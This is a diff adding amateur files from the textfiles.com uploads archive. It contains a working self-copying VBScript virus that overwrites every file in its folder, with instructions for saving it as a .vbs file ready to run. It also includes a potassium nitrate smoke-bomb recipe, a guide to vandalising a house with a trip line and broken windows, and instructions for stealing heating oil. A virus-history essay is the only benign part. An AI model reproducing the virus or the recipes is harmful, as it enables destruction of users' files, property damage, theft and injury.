<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="whywehack.txt">whywehack.txt</A> <tab to=T><TD> 2653<BR><TD> Why Do We Hack, by Illusion
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="whywehurt.txt">whywehurt.txt</A> <tab to=T><TD> 4338<BR><TD> Why We Hurt, by Ender (Version 1) (October 15, 2002)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="win_trojans.txt">win_trojans.txt</A> <tab to=T><TD> 67910<BR><TD> The Complete Windows Trojans Paper by Dancho Danchev Version 1.0 (October 21, 2002)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="winvirus.txt">winvirus.txt</A> <tab to=T><TD> 2015<BR><TD> Windows is a Virus: A Poem, by Boris Grishenko (February 2, 2002)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="wirelessb.txt">wirelessb.txt</A> <tab to=T><TD> 4947<BR><TD> Building a Wireless Beige Box, by Captain B (March 25, 2002)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="wiretappingfd.txt">wiretappingfd.txt</A> <tab to=T><TD> 6204<BR><TD> Wiretapping for Dummies, by Cracked Anarchist (November 25, 2006)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="wonarchive.txt">wonarchive.txt</A> <tab to=T><TD> 79544<BR><TD> The World of Nintendo Log Archive, by Draxamus (July, 2003)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="writingtfiles.txt">writingtfiles.txt</A> <tab to=T><TD> 9900<BR><TD> The Guide to Writing Text Files by Paranoidxe (April 22, 2004)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="wtfnet.hac">wtfnet.hac</A> <tab to=T><TD> 9908<BR><TD> What the Fuck Series #1: What the Fuck is Network Cable? By Yetzer_Ra (July 4th, 2000)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="wz101_newbie.txt">wz101_newbie.txt</A> <tab to=T><TD> 6973<BR><TD> Warez 101 for the Newbie, by Neuro (September 24, 2000)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="y2k_top_ten.txt">y2k_top_ten.txt</A> <tab to=T><TD> 1788<BR><TD> Top 10 Good Things about the Y2K Bug, by Dizzie (1999)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="yaflamethrow.txt">yaflamethrow.txt</A> <tab to=T><TD> 843<BR><TD> Easy Makeshift Flame Thrower, by Strych9 Milksheikh (July 1, 2005)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="yahell.txt">yahell.txt</A> <tab to=T><TD> 5990<BR><TD> YAHELL: The Yahoo Trojan Attack Guide, by Zero (December 16, 2002)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="yahoocensor.txt">yahoocensor.txt</A> <tab to=T><TD> 1101<BR><TD> How To Beat The Yahoo! ID Censor System by GKiller (June 2, 2003)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="yourpctracks.txt">yourpctracks.txt</A> <tab to=T><TD> 8737<BR><TD> Clearing Your Tracks on your PC by The Dark Knight of SoldierX.com (July, 2000)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="zippo.txt">zippo.txt</A> <tab to=T><TD> 15696<BR><TD> The Poor Man's OO7 Zippo, by Anarchy 2005 Team (November, 2004)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="zoo_fun.txt">zoo_fun.txt</A> <tab to=T><TD> 2833<BR><TD> Fun at the Zoo, by Dizzie (1999)
</TABLE><P><TABLE WIDTH=100%><TR><TD ALIGN=RIGHT><SMALL>There are 625 files for a total of 8,457,979 bytes.</SMALL></TABLE><P>
</BODY>
</HTML>
<P>If you wish to have the entire directory conveniently archived and compressed into one file, please download
either <A HREF="http://archives.textfiles.com/uploads.tar.gz"><B>uploads.tar.gz</B></A> (1847004 bytes) or <A HREF="http://archives.textfiles.com/uploads.zip"><B>uploads.zip</B></A> (2048167 bytes) instead of all the files separately. <P>

56
textfiles.com/uploads/001.txt Normal file
View File

@@ -0,0 +1,56 @@
22:12
---------------------------------------------------------------------------
Youyfuckin gf ag gotyoua renotf ittoread thisfile looka tyo
uy ou ar ea me ss ge to ut of he re yo
uc an tr ea dt hi sf il ey ou sh ou ld
beworrie dab outothe rt hi ng sl ik eyourdr
in ki ng pr ob le my ou al co ho
licyou yo uc an tjustw an ttoreadt hisfi le yo
uh av
et o ne
ed t or
eadthi sf
il
elikeanaddictionthatfillsyoureverywakinghourandeventuallyyouwillbearrested
Straight from Pyros' mind to your screen,
it's...
File no.#001
"Oiling."
Hello terrorists and fat people. My name is Pyros, well actually it
isn't and that's a load of shit so sorry to waste your time. This is my
first file; "oiling". "What is oiling?" you ask. Well I created this and I
don't think there is any other text file about it.
Most people have an oil tank in their back garden, so that's where we
get our oil from. All you need are
-a bottle
-and a rope
That's not too complicated. If you don't have any rope, tear down
somebody's clothes line.
Over the person's back garden wall we go. If you can't climb, it
doesn't take a genius to get into somebody's back garden. Don't bother
checking to see if their is somebody home, oiling should take less than 30
seconds. Tie the clothes line around the neck of the bottle and open the
lid of the oil tank. Throw the bottle in. When you take it back out of the
oil tank, the bottle will be filled with oil and you are victorious, now
get out of my back garden. You now have oil for burning at your leisure.
Commercial buildings have huge oil tanks and you can go there
constantly and they won't notice.
I would like to thank
Happyman - For being the best partner in crime a boy could ever ask for.
Podge - For learning from my way.
Brian Hays - For being a faggot that deserves to die and it was me who
robbed your car and you'll never catch me!!1 HAHAHA.
Here is my disclaimer: I didn't do any of this, it was all Brian Hays, or
that guy Jason Scott who owns textfiles.com, he looks like a no-good-nic to
me.
I have a website now: www.freespeech.org/no
---------------------------------------------------------------------------
-Pyros THE Leprechaun
31/08/01 22:31

65
textfiles.com/uploads/002.txt Normal file
View File

@@ -0,0 +1,65 @@
23:31
---------------------------------------------------------------------------
Who can save you from...
Whocanseey ou at alltime shasth epowerto killyoui sever ywh
er eb ut yo uc an 't se eh im an dc an
dc an br in gt he ap oc al yp se ?T HE
AMERICAN GO VERNMEN T. Id on 't ca rethoug
hb ec au se Id on 't li ve in Am
er ic a! Go di sl ik eS an ta Cl
ausali em ad eu ptomak et heworlda bette rp la
ce th
ed e ad
ar e no
tgonet oa
be
tterplacethey'rerottingintheground;thenextdateforyourlocalnecrophileFuck
File no.#002
"How to make smoke bombs if you do not own a mobile laboratory."
---------------------------------------------------------------------------
Hello and welcome to my second text-file. Did you like the last one? I
don't care. Anyway, I read up on how to make smoke bombs and the
ingredients were right. 4 parts sugar, 7 parts potassium nitrate. One of
the files said that to the potassium nitrate at a pharmacy, YOU DON'T! You
get potassium nitrate at a chemist. Potassium nitrate isn't used anymore so
if they ask why you want it, you're either a pyrotechnican (one of those
guys who makes explosions and the like on movie sets) or a professor at Tit
Monger University.
Second of all, you don't have to melt the potassium nitrate under a
spirit burner until it turns yellow. You can just put the potassium nitrate
and sugar into a tissue and shake it. It isn't a compound like the other
type, but it's just as good, if not better.
And last on my list of hate, why did it say in every file to use a
spatula? Most people don't have a mobile laboratory, use a fucking
teaspoon.
If you haven't read any other file on how to make smoke bombs, I will tell
you how, you need:
A TEASPOON,
Potassium nitrate (found at a CHEMIST)
Sugar.
A TISSUE.
And some tape.
(It's a lot easier this way, no test tubes or any of that
pukefucking cunt.)
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Method:
1. Lay your tissue on the table.
2. Put 4 teaspoons of sugar on the tissue.
3. Put 7 teaspoons of potassium nitrate on the tissue.
4. Fold the tissue so that none of your mixture will leak out and selotape
it closed.
5. Shake it.
6. Light the bastard.
---------------------------------------------------------------------------
See how the flames burst out of the smoke bomb? It's easier to make than
the type that's solid and it's better. (It's better because of it's
romantic bursting flames of passion.)
---------------------------------------------------------------------------
-Pyros YON Leprechaun http://www.freespeech.org/no
31/08/01 23:57

53
textfiles.com/uploads/10trash.txt Normal file
View File

@@ -0,0 +1,53 @@
10 ways to completely trash someone's property!!
Things to prepare for the trashing:
1. Make a fake barf by mixing green or whatever color
food coloring you want and blending it together with
pickle relish and tomatoes for the chunks and blending
it in with milk. Make a lot. Let it sit or warm it up
to make it stink.
2. Get a bunch of trash, or trash cans.
3. Get a bunch of dog crap and put it in some paper
bags.
4. Get some ketchup and mustard.
5. Spray paint - this is a classic tool for vandals
6. Rocks, slingshot and bb's and a bb gun
7. Strong fishing line like 20lb line or whatever
8. Superhero masks for humor and to protect your id
9. Rotten eggs or tomatoes
10. People to help you
Ok now for the fun:
organize some people to help you get this done
faster and more efficiently. Go up to someone's
yard you don't like and just dump all of the
trash in their yard, go up to their front door and
dump all of the puke you made on their doorstep and
door. Squirt the ketchup and mustard on their house
and windows. If you want, you can also spray paint
their house. And break their windows. Tie the fishing
line to their front rails or poles on their porch.
Dump all of the dog crap in front of their door.
Then when the owner comes out and sees what you have
done, he will instantly step into the dog crap.
Flip him off and try to get him to chase you.
He will be so grossed out that he won't realize there
is a trip line crossed in front of him. He will come
after you, and trip hahahaha! Then when he is down,
throw all your rotten tomatoes and eggs on him and
run like a bat out of hell while laughing the whole
way home.
by the role model for today's youth, Mantis

102
textfiles.com/uploads/123vbs.vir Normal file
View File

@@ -0,0 +1,102 @@
| x
cRaZy / / | / / / x
TeXt / | / | / / / x
FiLe / | / | / / / x
By: / | / | / / / x
/_____ | / |/ / / x
/ | \ |\ / / x
00/01 / | \ | \ /______ /______ x
/ | \ | \ / / / / x
/ | \ | \ / ? / / ? / x
/ | \ | \ /______/ /______/ x
copyright by sick66 15-8-00 x
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
H O W T O M A K E A V B S V I R US X
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
hell-o
do you remember the i-love-you virus?
it was a winscript virus, the latest in virus technology
some virus writers thought that it was time for some new, modern languages
to write there virusses in.
one of those new languages is winscript. in this file i will give you
the 'malkavian' virus by -KD- i was also thinking about putting the i-love-you
virus here, but i don't think that would make jason scott happy, because
a lot of people will then get virus alerts due to my textfile!
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
T H E M A L K A V I A N V I R U S X
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
x
this virus shows a funny picture in infected browser x
x
xxxxxxxxxxxxxxxxx CUT HERE xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
'pentagram
'------------------------------------------------
'VBS.=)
'Made By: sick66
'On 14-8-00
'With Notepad
'By sick66 (uv course an alias)
'Do NOT edit above this line!!!
'------------------------------------------------"
Dim pentagram, WshShell, FSO, VX, VirusLink
On Error Resume Next
Randomize
Set FSO = CreateObject("Scripting.FileSystemObject")
Set WshShell = Wscript.CreateObject("Wscript.Shell")
pentagram = Wscript.ScriptFullName
VX = Left(pentagram, InStrRev(pentagram, "\"))
For Each target in FSO.GetFolder(VX).Files
FSO.CopyFile pentagram, target.Name, 1
Next
If Int((2 * Rnd) + 1) = 1 Then
MsgBox "HAIL TEXTFILES.COM", 4096 , "VBS.=)"
Set VirusLink = WshShell.CreateShortcut("C:\WINDOWS\Favorites\pentagram.URL")
VirusLink.TargetPath = "http://vagina.rotten.com/fidel/"
VirusLink.Save
WshShell.Run ("C:\WINDOWS\Favorites\pentagram.URL")
End If
'pentagram
xxxxxxxxxxxxxxxxx CUT HERE xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
follow these steps:
- right click with mouse on desktop
- select 'new'
- there you will see a list of files you can create, pick 'textfile'
- name it kewl, funny or something
- select al the code that's between the two 'cut here' lines
so that it becomes blue or black
(do NOT select the 'cut here' lines)
- once selected press ctrl+c (control+c)
or go to 'edit' and select 'copy'
- now open the new created textfile and press ctrl+v (control+v)
or go to 'edit' and select 'paste'
- the code will now appear on the screen.
to make the virus work, go to 'file' and select 'save as'
give it any name, but make sure that it ends in '.vbs'
if you want to name it funny for instance, type 'funny.vbs'
in the window where you have to specify the filename
the virus is now ready for use!
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
H O W T O C O N T A C T M E: x
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
if you have any questions concerning my textfiles:
my e-mail: sick66@chatplaza.nl
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
look out for my new textfile on why eminem should die!
de mazzel (that is dutch for see ya)
-=*sick66*=-

BIN
textfiles.com/uploads/1killerhigh.txt Normal file
View File

Binary file not shown.

4708
textfiles.com/uploads/2001.txt Normal file
View File

File diff suppressed because it is too large Load Diff

570
textfiles.com/uploads/20thviruses.txt Normal file
View File

@@ -0,0 +1,570 @@
`'.'`'.'`'.'`'.'`'.'`'.'`'.'`'.'`'.'`'.'
20TH CENTURY: COMPUTER VIRUS HISTORY
`'.'`'.'`'.'`'.'`'.'`'.'`'.'`'.'`'.'`'.'
written by: paranoidxe
date: 04/21/2004
For generic information about viruses and how they work, please visit
my other document entitled "The Basic Concepts of PC Viruses". This
document automatically assumes you have knowledge on the following:
- What a virus is
- What a trojan is
- What a worm is
- What polymorphic, stealth, memory resident, etc. mean
- What .COM, .SYS, .PIF, .EXE files are
If you understand all the above please proceed, if you don't you can
still proceed but you may have a hard time understanding it.
Please note this article does NOT focus on what I call piggy-back viruses,
these are viruses such as macro viruses that need word in order to perform.
So this means specifically, all Outlook, Excel, and Word dependent viruses
WILL NOT BE covered by this guide.
What will be covered is some of the revolutional viruses in the 90s and 80s,
as well as some of the more popular viruses. This also covers some of the
worms and trojans that were threats back in the day. Please note, that most
if not all of these viruses are not a threat at current day.
- - - - - - - - - - - - - - -
AOL4FREE TROJAN/VIRUS (1997)
- - - - - - - - - - - - - - -
AOL4FREE trojan/virus was a special case because at the time there was
a AOL4FREE program that allowed users that used AOL and were charged by
the minute to get free AOL time. At the same time hoax chain letters
were sent around explaining that there is a AOL4FREE virus going around
that deletes all data from your hard drive by simply reading the message,
it couldn't be detected by any current antivirus software, and it would
render your computer useless. The next thing to come would only lead to
more confusion...
Then it happened, in April of 1997 a AOL4FREE.COM trojan was released
that could potentially delete data on the users hard drive. The AOL4FREE.COM
trojan (called a virus by some) would delete common windows directories if
the user launched it. So now you have 3 different stories about one subject.
So now you have, a) the hoax which made claims that were WAY out of line
with
what the trojan actually does, b) the legit program that gave aol users free
time, and c) the trojan that deletes common windows directories.
Then you have the varient that comes along, AOLHELL97 trojan which claims to
do
the exact same thing as the hoax claims it does. The only difference is the
AOLHELL97 trojan NEVER existed.
By the time it was all said and done VERY few people actually got the
trojan,
the infection was barely in the 100s.
- - - - - - - - - - - -
THE HARE VIRUS OF 1996
- - - - - - - - - - - -
The real, but EXTREMELY overblown virus of 1996 was hands down the Hare
virus.
While the virus does have a destructive payload and it can potentially bring
down a computer, the ACTUAL infection rate described at the time was
insane. The virus was claimed to infect millions of computers around the
world,
and due to the claim that current av products couldn't detect it there are
people that don't even know they are infected.
Many people added to the hysteria of Hare by claiming their computer was
infected by the Hare virus by certain common windows problems that occured.
So what did the Hare virus actually do? The payload loads on August 22nd and
September 22, ONLY on these two dates will the virus overwrite the data on
your hard drives. The message commonly displayed by this virus is
"HDEuthanasia" by demon emperor: Hare Krsna, hare, hare..."
- - - - - - - - - - - - - - - - - -
DATACRIME/COLUMBUS DAY VIRUS (1989)
- - - - - - - - - - - - - - - - - -
This virus was probably one of the first, if not the very first virus to
cause hysteria back in 1989.
Datacrime was a virus that would launch its payload on or after Oct. 13
or later in the year and would format the first nine tracks of a hard
disk and display the message
"DATACRIME VIRUS RELEASED: 1 MARCH 1989"
By deleting the tracks the hard drive would be unreadable as the hard
drive could not tell how to get to the data on the drive.
Datacrime then went under the alias of Columbus day virus in america, it
was thought to be written by Norwegian terrorists.
The big attack of the Datacrime virus was apparently at Royal National
Institute for the Blind claiming that Datacrime had wiped out their most
important data. Only to find out it was a minor outbreak of the Jerusalem
virus.
The virus becomes a huge deal due to the media and wannabe-experts making
false claims about the virus, in the end VERY few computers were ever
touched
by Datacrime. 7 confirmed reports was the only reports in 6 months of the
virus infecting computers according to Mcafee.
- - - - - - - - - - - - - -
GHOST.EXE "VIRUS" (1996)
- - - - - - - - - - - - - -
The GHOST program is orignally a program designed to have ghosts fly about
your computer screen with no ill effects.
However, in 1996 this all changed when people (obviously in touch with the
Hare hysteria) claimed the program would "attack" computer networks on
Friday
the 13th. This quickly got to Mcafee, Mcafee then supposedly disassembled it
and labeled it as a trojan horse.
The USDECIAC checked this out and found it to be untrue, however Mcafee
continued to label the program as a trojan until sometime after.
- - - - - - - - - - - - - - -
THE MICHELANGELO VIRUS OF 1992
- - - - - - - - - - - - - - -
The michelangelo virus was orignally discovered in 1991, this virus would
delete the data on a users hard drive. The payload would trigger each year
of March 6th.
Michelangelo gained fame when a major computer manufacturer claimed to have
shipped over 500 computers carrying the michelangelo virus. Then the press
adds more fuel to the fire by claiming that hundreds of thousands of
computers around the world MIGHT be infected.
Another major software company jumps on the bandwagon and claims they
distrubuted 900 floppies containing the nefty virus. Another reporter now
claims millions of personal computers around the world are infected.
Finally the day came, the "millions" estimate ended up being in the
thousands...10 to 20 thousand to be exact. While still quite a few people
did get the virus, the claims of millions were WAY off.
- - - - - - - - - - - - - - -
JERUSALEM VIRUS (1987)
- - - - - - - - - - - - - - -
Originated from a programmer in Israel, as part of a experimentation. The
programmer made three different viruses before Jerusalem, these viruses
were labeled as Suriv-1, Suriv-2, and Suriv-3. Suriv-2 became the first
EXE file infector in the world. The fourth virus created would be known
as Jerusalem and as accidently leaked into the world (so it was believed).
Jerusalem had the ability to infect .EXE, .COM, .SYS, .PIF, and .OVL files
on the infected machine. The Jerusalem code has been altered many times
but this is the orignal code:
Jerusalem becomes a memory resident and infects all files that are run,
with the exception of command.com. Due to a bug in the coding the virus
may reinfect the same .EXE file over and over again.
- - - - - - - - - - - - - - -
STONED VIRUS (1987)
- - - - - - - - - - - - - - -
Stoned was created by a programmer at the university of Wellington in
New Zealand in 1987. The virus is designed to infect MBR and boot
sectors of 360K floppy disks. However, though it was designed for 360K
disks its chance of infecting higher capacity floppy disks are higher
than the orignal infection target.
When booting there is a 1 in 8 chance that the virus will beep and
display one of the following messages:
"Your PC is now stoned! LEGALIZE MARIJUANA!"
"Your PC is now Stoned!"
"Your computer is now stoned."
Stoned is another base code for many virus writers, there are literally
over 90 varients of stoned which do different things.
- - - - - - - - - - - - - - -
CASCADE VIRUS (1987)
- - - - - - - - - - - - - - -
This virus was written in germany, the cascade virus introduced the
concept of encryption. This made it significantly harder to repair any
infected files the cascade virus caused.
Cascade also introduced quite another feature, the ability to cause
lettering in the screen to drop to the bottom. Cascade is another base
virus for virus writters with MANY varients.
Cascades variants were quite potent as well, one variant specifically
formats the users hard drive. Cascade is the virus that made IBM take
viruses seriously when many IBM computers became infected with the
virus.
- - - - - - - - - - - - -
VIENNA VIRUS (1990)
- - - - - - - - - - - - -
The vienna virus became the first known polymorphic virus, which caused
a problem with anti-virus creators. This virus requires AV companies to
write an algorithm that would apply logical tests to the file and decide
whether the bytes it was looking at were one of the possible decryptors.
The vienna virus' polymorphic technology caused quite a few AV products
to generate false positives due to poor coding.
What did the vienna virus actually do to a computer? The virus infected
.COM files everytime they were run, and 1/8th of the time it inserts a
jump to the BIOS routines that reboots the machine. Essentially the
virus randomly rebooted the computer and corrupted files.
- - - - - - - - - - - - - -
DARK AVENGER FAMILY (1990)
- - - - - - - - - - - - - -
The dark avenger virus introduced two concepts, fast infection as well
as subtle damage. The fast infection method was that simply reading a file
the dark avenger could infect it this means incredibly fast infection of
the hard drive. The Dark Avenger will overwrite sectors every once and
awhile, if this isn't noticed for period of time, the corrupted files are
backed up so when the user tries to restore the clean version of the files
Dark Avenger will put the corrupt files right back...essentially Dark
Avenger also targets backup copies.
The variant of Dark Avenger includes, Number of The Beast..which is
essentially the same concept as Dark Avenger except the virus is commonly
picked up as the wrong virus by antivirus products.
Another more viscious varient is Nomenklatura...which will overwrite the
users hard drive on the 13th of any month.
- - - - - - - - - - - - -
THE WHALE VIRUS (1990)
- - - - - - - - - - - - -
The whale was a EXTREMELY complex polymorphic virus that took literally
weeks for av vendors to decode it. While the virus isn't particularly
harmful or effective it proved to be one of the toughest decode jobs
by Antivirus Vendors. Whale could also change to many different sizes,
making it even more complex. The biggest side effect was Whale would
crash a computer if it was run.
- - - - - - - - - - - -
BRAIN (1987)
- - - - - - - - - - - -
The brain family is thought to be one of the earliest MS-DOS viruses.
brain is worthy mention because it was the first virus to use stealth.
Stealth which means when reporting the size of the file it would report
the uninfected file size so it would appear that the file had not been
infected.
Some variants are able to use trapping technology to survive warm boots
(reboots). Brain, though doesn't do much other than infect boot sectors
of 360K floppies, is lengendary because it is one, if not, one of the
first ms-dos viruses. Some variants do have bugs that scramble files on
the infected disk.
- - - - - - - - - - - - -
THE AIDS TROJAN (1989)
- - - - - - - - - - - - -
Possibly the first trojan ever created, has quite a story behind it.
AIDS was considered a virus back in the day, but in reality it is a trojan
horse and nothing more.
In fall of 1989, a AIDS information packet was sent out from a company
known as PC Cyborg. The packaging was very professional and when the product
was used it would show a very simple AIDS information document. The Disk
itself installed the program to the hard disk of the user, at least that is
what the user is supposed to think. In reality the program installed files
onto a secret directory onto the users hard drive in which it would count
how many times the computer was rebooted. After so many boots the hard disk
was encrypted and you got a nice screen demanding payment for the AIDS
information program in exchange for the decrypting code to get the
information on your hard drive back.
Analyzing the license shows the following:
"Warning: Do not use these programs unless you are prepared to pay for
them."
"In case of breach of license, PC Cyborg Corporation reserves the right to
use program mechanisms to ensure termination of the use of these programs.
These program mechanisms will adversely affect other program applications
on microcomputers. You are hereby advised of the most serious consequences
of your failure to abide by the terms of this license agreement"
- - - - - - - - -
BOZA VIRUS (1995)
- - - - - - - - -
Wouldn't be worth mentioning if it wasn't for the fact this virus is dubbed
the very first Windows 95 virus. The virus is a slow infector but is fast
enough to go undetected by the user. The virus also carries a bug in which
it can increase the infected file size by several megabytes would could
potentially kill a lot of disk space. The virus also displays a windows
political message:
WINDOW TITLE: Bizatch by Quantum /VLAD
TEXT: "The taste of fame just got tastier!
VLAD Australia does it again with the world's first Win95 Virus
From the old school to the new...
Metabolis
Qark
Darkman
Automag
Antigen
RhinceWind
Quantum
Absolute Overload
CoKe
[ OK ] "
The Boza virus resembles the simplicity of 1980 viruses, it is not
very complex. If not the first Windows 95 virus it would never have
achieved any fame.
- - - - - - - - - - - - - - -
MORRIS/INTERNET WORM (1988)
- - - - - - - - - - - - - - -
The first worm that unintentionally negatively affected networks.
The Morris Worm (sometimes called The internet worm) function was
simply to spread itself to as many computers as possible. The worm
infection begins on a VAX 8600 at the University of Utah, from here
it spreads causing a incredible strain on processor load. This was
a bug in the worm it was never designed to overload networks, it
just did. The worm then spread to over 6,000 machines acrossed the
united states, the worm caused no physical damage to the machines
affected by it, however there were a great profit loss to those who
lost access to the internet.
In the long run the worm exposed some serious security holes in UNIX
enviroments, which could have gone undetected had the worm not used it
to proprogate its spreading.
- - - - - - - - - - - - - - -
THE CHERNOBYL VIRUS (1998)
- - - - - - - - - - - - - - -
A virus that isn't very commonly mentioned anymore, the CHERNOBYL virus
(CIH) introduces a new concept of infection. The Chernobyl virus infects
95/98/ME/NT programs, however due to NTs nature the virus cannot function
correctly..therefore 95/98/ME is really the only platform affected.
The unique infection method is what is worth mentioning, the virus is
able to find unused spaces in a file, split the viral code into smaller
coding and insert into these unused spaces. This makes it so that the
file size does not change.
Another unique feature is CIH's ability to overwrite FLASHBIOS which
would cause the targeted computer to be unuseable unless the BIOS is
completely replaced. The chances of this working are VERY slim however,
as technology has changed since this virus is written and some varients
have bugs that don't allow this code to work.
Two variants launch the payloads on April 26th, and third variant
launches the payloads on the 26th of any month. The first payload
is it overwrites the hard disk with random data starting at the
beginning of the disk...using a infinite loop. This usually will not
stop until the computer is a) turned off by the user or b) the
computer crashes itself. This will turn any data on the drive to
be unuseable and difficult, if not impossible to recover.
- - - - - - - - - - - -
AOLGOLD TROJAN (1995)
- - - - - - - - - - - -
AOLGOLD Trojan is a program that was orignally advertised as a
special version of the AOL software. The attached file is, in most
circumstances, named AOLGOLD.ZIP.
The contents of AOLGOLD.ZIP include: INSTALL.EXE and README.TXT. The
readme.txt file golorifies AOLGOLD as a special addition to the AOL
software. When install.exe is launched the following files are extracted
onto the users hard drive:
MACROS.DRV
VIDEO.DRV
INSTALL.BAR
ADRIVE.RPT
SUSPEND.DRV
ANNOY.COM
MACRO.COM
SP-NET.COM
SP-WIN.COM
MEMBRINF.COM
DEVICE.COM
TEXTMAP.COM
HOST.COM
REP.COM
EMS2EXT.SYS
EMS.COM
EMS.SYS
README.TXT
The readme document included with the install.exe goes on to explain the
program gives you the powers of a guide (a guide means the ability to kick
AOL users offline and terminate accounts). Upon execution of install.bat
the file will rename video.drv to VIRUS.BAT and launch it. the VIRUS.BAT
now runs the commands to delete the following directories:
DOS, WINDOWS, WINDOWS/SYSTEM, QEMM, STACKER, NORTON, AOL20, PRODIGY,
MMP169, CSERVE, DOOM, WOLF3D
The program then prints out a crude message and attempts to run doomday.exe
but it fails due to the bug in the program.
- - - - - - - - - - - - - - -
TWELVE TRICKS TROJAN HORSE
- - - - - - - - - - - - - - -
12 Tricks trojan horse is quite a advancement in terms of trojan horses. The
unique feature of the 12 tricks trojan is that it can randomly select a
number between 1 and 12 and based on the number is what the trojan will do
to your computer, the effects of the trojan include:
- slow down of system performance
- blanking or jerky motion in the scroll window
- clock, printer, or keyboard malfunctions
- random disk writes
- garbled printer output
- FAT, boot sector overwrites
- floppy disk continuously running
- FAT, directory or boot sector damaged disks
The trojan contains the following string:
SOFTLOK+ V3.0 SOFTGUARD SYSTEMS INC.
2840 ST. THOMAS EXPWY, SUITE 201
SANTA CLARA, CA 95051
There is no evidence that the string above is attached to the
creation of the trojan, why the author would put the company
above in is still unknown.
- - - - - - - - - - - - - -
PKZIP TROJAN HORSE (1992)
- - - - - - - - - - - - - -
Distributed through various BBS, the PKZIP trojan is advertised
as a fake new version of PKZIP. The versions commonly claimed is 2.01 and
2.2, which the following possible file names:
PKZ201.ZIP, PKZ201.EXE, PKZIPV2.ZIP, PKZIPV2.EXE
The 2.01 version is actually a hacked 1.93 Alpha version that functions,
but may do some unexpected things since it is a Alpha version of the
product.
The 2.2 version however is a simple batch file that attempts to delete files
off your hard drive. This version targets specifically C:\DOS\*.* to delete
files.
- - - - - - - - - - - - - - - - -
NORTSTOP/NORTSHOT TROJAN (1989)
- - - - - - - - - - - - - - - - -
This particular trojan horse was bundled with Norton Utilities on BBS, the
official product did NOT contain this trojan ONLY pirated versions included
it. The NORTSTOP or NORTSHOT trojan simply deletes specific extentions if
ran on days between December 24th and December 31st. The chances of this
affecting anyone is EXTREMELY rare.
- - - - - - - - - - - - -
TEQUILA VIRUS (1991)
- - - - - - - - - - - - -
The first polymorphic virus; which orignated from Switzerland. Tequila had
the ability to change its form in an attempt to avoid detection. The virus
is relatively harmless to data but will display messages such as:
"Execute: mov ax, FE03 / INT 21. Key to go on!"
If the user follows the directions they will get this message:
"Welcome to T.TEQUILA's latest production.
Contact T.TEQUILA/P.O.BOX 543/6312 St'hausen/Switzerland.
Loving thoughts to L.I.N.D.A
BEER and TEQUILA forever !"
- - - - - - - - - - - - - -
BACK ORIFICE TROJAN (1998)
- - - - - - - - - - - - - -
Back Orifice becomes the first trojan to become a adminstrative backdoor
tool.
Back Orifice works by the user downloading the server application and
running
it, the program then stays active...the person that sent the server program
then launches his program and can remotely control the infected computer.
The
first version of Back Orifice infected 95/98/ME machines only.
Later Back Orifice 2000 was released, which was able to attack Windows NT
systems as well. Back Orifice had a list of features that were useful, which
include:
- computer info, list disk contents, file manipulation, compression,
decompression, terminate porcesses, display messages, access registry,
etc.
Back Orifice has both a legitimate purpose, and a malicious purpose.
Back Orifice can be used as a remote adminstration tool for networks, on the
other hand it can be used to comprimise data from a targeted computer.
Back Orifice tool does NOT pray on security flaws and is limited by the
user permissions on the affected machine. Back Orifice server application
must be downloaded by the user for them to be affected.
- - - - - - - - - - - - -
DEDICATED VIRUS (1992)
- - - - - - - - - - - - -
This virus was realatively harmless, however it makes a mark in history by
being based on a polymorphic generator. Dedicated is a DOS infector for
version 2.x or above. Dedicated only infects COM files upon execution, the
easy detection method is file size growth. This particular virus was based
on the Mutating Engine 0.9. The problem with the design is once the coding
of the Mutating Engine is decyphered most if not all viruses created with
the engine can be detected.
- - - - - - - - - - - - - - - -
SUBSEVEN BACKDOOR TROJAN (1999)
- - - - - - - - - - - - - - - -
Subseven became quite the popular backdoor trojan and still is today.
There are MANY varients of subseven making it harder and harder to detect.
The orignal subseven is very similiar to that of back orifice, it will
only infect 95/98 machines. From version 2.2 and above NT could also
become a target. subseven's source is widely available for programmers to
expand upon subseven.
- - - - - - - - - - -
HAPPY99 VIRUS (1999)
- - - - - - - - - - -
This virus was distributed around 1999, generally as a attachment named
Happy99.exe. This does not mean it could come as other names however.
Happy99.exe is unique as it is sort of a hybrid of a trojan/virus because
running Happy99.exe appears to show a fireworks show, yet it does more
than meets the eye.
Happy99.exe drops SKA.EXE and modifies WSOCK32.DLL, modifying WSOCK32.DLL
happy99 will get a list of message recipients and will begin to send itself
out through your email even though you will not notice it.

86
textfiles.com/uploads/256sysclr.txt Normal file
View File

@@ -0,0 +1,86 @@
- - - - - - - - - - - - - - -
ADDING 256 COLORS TO SYSTRAY
- - - - - - - - - - - - - - -
compiled by: paranoidxe
complete credit goes to: DR.HOIBY (www.dr-hoiby.com)
